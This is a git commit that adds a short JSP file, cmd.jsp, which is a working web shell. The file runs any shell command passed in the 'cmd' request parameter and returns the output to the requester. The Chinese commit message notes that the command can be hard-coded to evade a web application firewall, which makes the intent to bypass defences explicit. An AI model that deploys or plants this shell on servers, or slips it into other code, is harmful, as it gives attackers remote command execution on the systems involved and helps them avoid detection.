Create cmd.jsp

tutorial0 · web-flow · commit 0ded20fa2a7c · 2016-08-30T09:30:58.000+08:00
执行命令的jsp，可以写死命令过waf
diff --git a/cmd.jsp b/cmd.jsp
@@ -0,0 +1,20 @@
+<%@ page import="java.io.*" %>
+<%
+    try {
+            String cmd = request.getParameter("cmd");
+            Process child = Runtime.getRuntime().exec(cmd);
+            InputStream in = child.getInputStream();
+            int c;
+            while ((c = in.read()) != -1) {
+                out.print((char)c);
+            }
+            in.close();
+            try {
+                child.waitFor();
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        } catch (IOException e) {
+            System.err.println(e);
+        }
+%>
